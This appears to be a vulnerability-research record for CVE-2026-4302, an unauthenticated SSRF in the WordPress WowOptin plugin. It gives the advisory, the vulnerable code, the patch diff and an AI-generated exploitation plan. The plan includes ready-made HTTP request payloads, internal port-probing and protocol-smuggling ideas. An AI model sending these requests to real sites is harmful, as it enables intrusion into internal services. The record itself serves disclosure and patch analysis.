[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fz35PUTj0KgTyKaRNvivXQ1FELsQJQlLxTXxbjQcX0ac":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":26,"research_verified":27,"research_rounds_completed":28,"research_plan":29,"research_summary":30,"research_vulnerable_code":31,"research_fix_diff":32,"research_exploit_outline":33,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":27,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":27,"source_links":37},"CVE-2026-4302","wowoptin-next-gen-popup-maker-unauthenticated-server-side-request-forgery-via-link-parameter-in-rest-api","WowOptin: Next-Gen Popup Maker \u003C= 1.4.29 - Unauthenticated Server-Side Request Forgery via 'link' Parameter in REST API","The WowOptin: Next-Gen Popup Maker plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.4.29. This is due to the plugin exposing a publicly accessible REST API endpoint (optn\u002Fv1\u002Fintegration-action) with a permission_callback of __return_true that passes user-supplied URLs directly to wp_remote_get() and wp_remote_post() in the Webhook::add_subscriber() method without any URL validation or restriction. The plugin does not use wp_safe_remote_get\u002Fpost which provide built-in SSRF protection. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application, which can be used to query and modify information from internal services.","optin",null,"\u003C=1.4.29","1.4.30","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Server-Side Request Forgery (SSRF)","2026-03-20 00:00:00","2026-03-21 01:24:38",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fb1c3e480-0221-4913-bcce-f34ded9edca8?source=api-prod",1,[22,23,24,25],"includes\u002Fintegrations\u002Fimplementations\u002Fclass-webhook.php","languages\u002Foptin.pot","optin.php","readme.txt","researched",false,3,"# Research Plan: SSRF in WowOptin via `link` Parameter\n\n## 1. Vulnerability Summary\nThe **WowOptin** plugin (\u003C= 1.4.29) contains an unauthenticated Server-Side Request Forgery (SSRF) vulnerability. The plugin registers a public REST API endpoint `optn\u002Fv1\u002Fintegration-action` with a `permission_callback` of `__return_true`. This endpoint allows users to trigger integration actions. When the `integration` type is set to `webhook`, the plugin passes a user-supplied URL (via the `link` parameter) directly to `wp_remote_get()` or `wp_remote_post()` without validation or restriction. Because it uses standard WordPress remote functions instead of `wp_safe_remote_get\u002Fpost`, it can be used to probe internal services or cloud metadata endpoints.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-json\u002Foptn\u002Fv1\u002Fintegration-action`\n- **Method:** `POST`\n- **Authentication:** Unauthenticated (Publicly accessible via `__return_true`).\n- **Vulnerable Parameter:** `link` (the destination URL).\n- **Control Parameters:** \n    - `integration`: Must be set to `webhook` to route to the vulnerable class.\n    - `reqType`: Controls the HTTP method of the SSRF (`GET` or `POST`).\n    - `fields`: Data passed as query arguments (GET) or JSON body (POST).\n    - `conv_id`: An integer ID required to satisfy the `add_lead` logic after the request.\n\n## 3. Code Flow\n1. **Entry Point:** An unauthenticated `POST` request is sent to the REST API route `optn\u002Fv1\u002Fintegration-action`.\n2. **REST Controller:** The REST handler (likely `admin\u002Frest\u002Fclass-rest-integration.php`) identifies the integration type as `webhook` from the request data.\n3. **Class Instantiation:** The plugin instantiates `OPTN\\Includes\\Integrations\\Implementations\\Webhook`.\n4. **Sink Call:** The controller calls `Webhook::add_subscriber($data)`, passing the request parameters.\n5. **Request Execution (`includes\u002Fintegrations\u002Fimplementations\u002Fclass-webhook.php`):**\n    - If `$data['reqType'] === 'GET'`, the plugin calls:\n      ```php\n      $url = add_query_arg( $data['fields'], $data['link'] );\n      $res = wp_remote_get( $url, array( 'timeout' => 45 ) );\n      ```\n    - If `$data['reqType'] === 'POST'`, the plugin calls:\n      ```php\n      $res = wp_remote_post( $data['link'], array(\n          'method'  => 'POST',\n          'headers' => array( 'Content-Type' => 'application\u002Fjson; charset=utf-8' ),\n          'body'    => wp_json_encode( $data['fields'] ),\n          'timeout' => 45,\n      ));\n      ```\n6. **Persistence (Side Effect):** If the request succeeds, `add_lead($data)` is called, which writes the `fields` and `conv_id` to the database via `$this->db->add_lead()`.\n\n## 4. Nonce Acquisition Strategy\nAccording to the vulnerability description, the endpoint `optn\u002Fv1\u002Fintegration-action` uses `permission_callback => __return_true`. \n\n**In WordPress REST API architecture:**\n- When `permission_callback` is `__return_true`, no authentication is checked.\n- For **unauthenticated** users, WordPress does **not** enforce CSRF nonce (`X-WP-Nonce`) checks on REST API endpoints.\n- Therefore, no nonce acquisition is required for the primary exploitation path.\n\nIf the environment were to strictly require a nonce (unlikely for this specific bug), one could be found by navigating to any page where the WowOptin scripts are loaded (e.g., a page with an active popup) and reading the localized script data, but the unauthenticated nature of the `permission_callback` makes this unnecessary.\n\n## 5. Exploitation Strategy\n\n### Goal: Trigger an SSRF to an internal service or external listener.\n\n### HTTP Request (Using `http_request` tool)\nWe will target a mock internal service or an external listener to confirm the request is made.\n\n**Payload for GET SSRF:**\n```http\nPOST \u002Fwp-json\u002Foptn\u002Fv1\u002Fintegration-action HTTP\u002F1.1\nHost: localhost:8080\nContent-Type: application\u002Fjson\n\n{\n  \"integration\": \"webhook\",\n  \"link\": \"http:\u002F\u002FBURP_COLLABORATOR_OR_INTERNAL_IP\u002Fpath\",\n  \"reqType\": \"GET\",\n  \"fields\": {\n    \"email\": \"victim@example.com\",\n    \"internal_cmd\": \"status\"\n  },\n  \"conv_id\": 1337\n}\n```\n\n**Payload for POST SSRF (Internal JSON API):**\n```http\nPOST \u002Fwp-json\u002Foptn\u002Fv1\u002Fintegration-action HTTP\u002F1.1\nHost: localhost:8080\nContent-Type: application\u002Fjson\n\n{\n  \"integration\": \"webhook\",\n  \"link\": \"http:\u002F\u002F127.0.0.1:80\u002Fwp-admin\u002Fadmin-ajax.php\",\n  \"reqType\": \"POST\",\n  \"fields\": {\n    \"email\": \"victim@example.com\",\n    \"action\": \"some_vulnerable_ajax_action\"\n  },\n  \"conv_id\": 1337\n}\n```\n\n## 6. Test Data Setup\nNo complex setup is required because the vulnerability is in a publicly accessible REST API.\n1. Ensure the **WowOptin** plugin is installed and activated.\n2. No specific popups or forms need to be created, as the `Webhook` implementation is called directly via the REST route.\n\n## 7. Expected Results\n- The server should respond with a `200 OK` or `201 Created`.\n- The `Webhook::add_subscriber` method returns `true` if `!is_wp_error($res)`, so the REST response should indicate success.\n- If the target `link` is an external listener, an incoming request should be observed.\n- The request should originate from the WordPress server's IP.\n- The `User-Agent` will typically be `WordPress\u002F[version]; [site_url]`.\n\n## 8. Verification Steps\nAfter sending the HTTP request, verify that the \"lead\" was recorded in the database, confirming the code path was fully executed:\n\n```bash\n# Check the leads table to see if the SSRF attempt was logged\nwp db query \"SELECT * FROM \\$(wp db prefix --allow-root)optn_leads WHERE conv_id = 1337;\" --allow-root\n```\n*(Note: The table name `optn_leads` is inferred from the class usage of `$this->db->add_lead()` and the plugin slug `optin`.)*\n\n## 9. Alternative Approaches\n- **Port Probing:** Iterate the `link` parameter with `http:\u002F\u002F127.0.0.1:[PORT]` and observe response times or status codes to map internal services.\n- **Protocol Smuggling:** Attempt other protocols supported by `curl` (if the underlying PHP environment supports them) like `gopher:\u002F\u002F` or `dict:\u002F\u002F`, though `wp_remote_get` usually limits protocols to HTTP\u002FHTTPS.\n- **Bypassing `fields` logic:** If the plugin's `Utils::extract_name` or `Utils::sanitize_json_array` throws errors, simplify the `fields` object to an empty array `{}`.","The WowOptin plugin for WordPress is vulnerable to unauthenticated Server-Side Request Forgery (SSRF) via its REST API. The 'optn\u002Fv1\u002Fintegration-action' endpoint allows users to trigger a 'webhook' integration that passes a user-supplied 'link' parameter directly to wp_remote_get() or wp_remote_post() without validation, allowing attackers to probe internal services.","\u002F\u002F includes\u002Fintegrations\u002Fimplementations\u002Fclass-webhook.php:31\n\tpublic function add_subscriber( $data ): bool {\n\n\t\t$res = null;\n\n\t\tif ( 'GET' === $data['reqType'] ) {\n\t\t\t$url = add_query_arg( $data['fields'], $data['link'] );\n\t\t\t$res = wp_remote_get(\n\t\t\t\t$url,\n\t\t\t\tarray(\n\t\t\t\t\t'timeout' => 45,\n\t\t\t\t)\n\t\t\t);\n\t\t} elseif ( 'POST' === $data['reqType'] ) {\n\t\t\t$res = wp_remote_post(\n\t\t\t\t$data['link'],\n\t\t\t\tarray(\n\t\t\t\t\t'method'  => 'POST', \n\t\t\t\t\t'headers' => array( 'Content-Type' => 'application\u002Fjson; charset=utf-8' ),\n\t\t\t\t\t'body'    => wp_json_encode( $data['fields'] ),\n\t\t\t\t\t'timeout' => 45,\n\t\t\t\t)\n\t\t\t);\n\t\t}","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Foptin\u002F1.4.29\u002Fincludes\u002Fintegrations\u002Fimplementations\u002Fclass-webhook.php\t2026-03-12 05:48:42.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Foptin\u002F1.4.30\u002Fincludes\u002Fintegrations\u002Fimplementations\u002Fclass-webhook.php\t2026-03-17 03:50:44.000000000 +0000\n@@ -31,26 +31,43 @@\n \t *\u002F\n \tpublic function add_subscriber( $data ): bool {\n \n+\t\tif ( empty( $data['link'] ) || empty( $data['reqType'] ) ) {\n+\t\t\treturn false;\n+\t\t}\n+\n+\t\t$url = wp_http_validate_url( esc_url_raw( $data['link'] ) );\n+\n+\t\tif ( false === $url ) {\n+\t\t\treturn false;\n+\t\t}\n+\n \t\t$res = null;\n \n \t\tif ( 'GET' === $data['reqType'] ) {\n-\t\t\t$url = add_query_arg( $data['fields'], $data['link'] );\n-\t\t\t$res = wp_remote_get(\n+\t\t\t$url = add_query_arg( is_array( $data['fields'] ) ? $data['fields'] : array(), $url );\n+\n+\t\t\tif ( false === wp_http_validate_url( $url ) ) {\n+\t\t\t\treturn false;\n+\t\t\t}\n+\n+\t\t\t$res = wp_safe_remote_get(\n \t\t\t\t$url,\n \t\t\t\tarray(\n \t\t\t\t\t'timeout' => 45,\n \t\t\t\t)\n \t\t\t);\n \t\t} elseif ( 'POST' === $data['reqType'] ) {\n-\t\t\t$res = wp_remote_post(\n-\t\t\t\t$data['link'],\n+\t\t\t$res = wp_safe_remote_post(\n+\t\t\t\t$url,\n \t\t\t\tarray(\n \t\t\t\t\t'method'  => 'POST',\n \t\t\t\t\t'headers' => array( 'Content-Type' => 'application\u002Fjson; charset=utf-8' ),\n-\t\t\t\t\t'body'    => wp_json_encode( $data['fields'] ),\n+\t\t\t\t\t'body'    => wp_json_encode( isset( $data['fields'] ) && is_array( $data['fields'] ) ? $data['fields'] : array() ),\n \t\t\t\t\t'timeout' => 45,\n \t\t\t\t)\n \t\t\t);\n+\t\t} else {\n+\t\t\treturn false;\n \t\t}","To exploit this vulnerability, an unauthenticated attacker can send a POST request to the WordPress REST API endpoint '\u002Fwp-json\u002Foptn\u002Fv1\u002Fintegration-action'. The JSON payload must include 'integration' set to 'webhook', a 'reqType' of either 'GET' or 'POST', and the 'link' parameter set to the target internal or external URL. Because the plugin uses a permission_callback that always returns true and employs wp_remote_get\u002Fpost instead of wp_safe_remote_get\u002Fpost, the WordPress server will execute the request to the attacker-specified URL, allowing for port scanning of the local network or access to sensitive internal metadata services.","gemini-3-flash-preview","2026-04-18 01:41:46","2026-04-18 01:42:09",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","1.4.29","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Foptin\u002Ftags\u002F1.4.29","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Foptin.1.4.29.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Foptin\u002Ftags\u002F1.4.30","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Foptin.1.4.30.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Foptin\u002Ftags"]